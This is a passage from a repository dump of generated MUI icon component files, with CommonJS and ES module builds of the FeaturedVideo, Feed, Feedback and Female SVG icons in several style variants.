    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 9H3V5h9z\"\n}), 'FeaturedVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 9H3V5h9z\"\n}), 'FeaturedVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM4 6h9v7H4z\"\n}), 'FeaturedVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM4 6h9v7H4z\"\n}), 'FeaturedVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-10 9H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h7c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1\"\n}), 'FeaturedVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-10 9H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h7c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1\"\n}), 'FeaturedVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zm-11 9H3V5h9z\"\n}), 'FeaturedVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zm-11 9H3V5h9z\"\n}), 'FeaturedVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18V5H3zM4 6h9v7H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM4 6h9v7H4z\"\n}, \"1\")], 'FeaturedVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeaturedVideoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18V5H3zM4 6h9v7H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM4 6h9v7H4z\"\n}, \"1\")], 'FeaturedVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Feed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zM7 7h5v2H7zm10 10H7v-2h10zm0-4H7v-2h10zm-2-4V5l4 4z\"\n}), 'Feed');"
  },
  {
    "path": "packages/mui-icons-material/lib/Feed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zM7 7h5v2H7zm10 10H7v-2h10zm0-4H7v-2h10zm-2-4V5l4 4z\"\n}), 'Feed');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zm3 16H5V5h10v4h4zM7 17h10v-2H7zm5-10H7v2h5zm-5 6h10v-2H7z\"\n}), 'FeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zm3 16H5V5h10v4h4zM7 17h10v-2H7zm5-10H7v2h5zm-5 6h10v-2H7z\"\n}), 'FeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zM8 7h3c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m8 10H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m0-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-1-5V5l4 4h-3c-.55 0-1-.45-1-1\"\n}), 'FeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zM8 7h3c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m8 10H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m0-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-1-5V5l4 4h-3c-.55 0-1-.45-1-1\"\n}), 'FeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3H3v18h18V8zM7 7h5v2H7zm10 10H7v-2h10zm0-4H7v-2h10zm-2-4V5l4 4z\"\n}), 'FeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3H3v18h18V8zM7 7h5v2H7zm10 10H7v-2h10zm0-4H7v-2h10zm-2-4V5l4 4z\"\n}), 'FeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 5H5v14h14V9h-4zM7 7h5v2H7zm10 10H7v-2h10zm0-6v2H7v-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13h10v-2H7zm0 4h10v-2H7zm9-14H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zm3 16H5V5h10v4h4zM12 7H7v2h5z\"\n}, \"1\")], 'FeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 5H5v14h14V9h-4zM7 7h5v2H7zm10 10H7v-2h10zm0-6v2H7v-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13h10v-2H7zm0 4h10v-2H7zm9-14H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8zm3 16H5V5h10v4h4zM12 7H7v2h5z\"\n}, \"1\")], 'FeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Feedback.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'Feedback');"
  },
  {
    "path": "packages/mui-icons-material/lib/Feedback.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'Feedback');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}), 'FeedbackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}), 'FeedbackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2v18L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm0-5c0 .55-.45 1-1 1s-1-.45-1-1V7c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'FeedbackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4.01c-1.1 0-2 .9-2 2v18L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm0-5c0 .55-.45 1-1 1s-1-.45-1-1V7c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'FeedbackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zm-9 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'FeedbackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zm-9 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'FeedbackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM11 6h2v4h-2zm0 6h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'FeedbackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FeedbackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM11 6h2v4h-2zm0 6h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'FeedbackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Female.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'Female');"
  },
  {
    "path": "packages/mui-icons-material/lib/Female.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'Female');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'FemaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'FemaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m1 8.91c2.56-.47 4.5-2.71 4.5-5.41C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.94 4.5 5.41V17h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1z\"\n}), 'FemaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m1 8.91c2.56-.47 4.5-2.71 4.5-5.41C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.94 4.5 5.41V17h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1z\"\n}), 'FemaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'FemaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'FemaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'FemaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FemaleTwoTone.mjs",
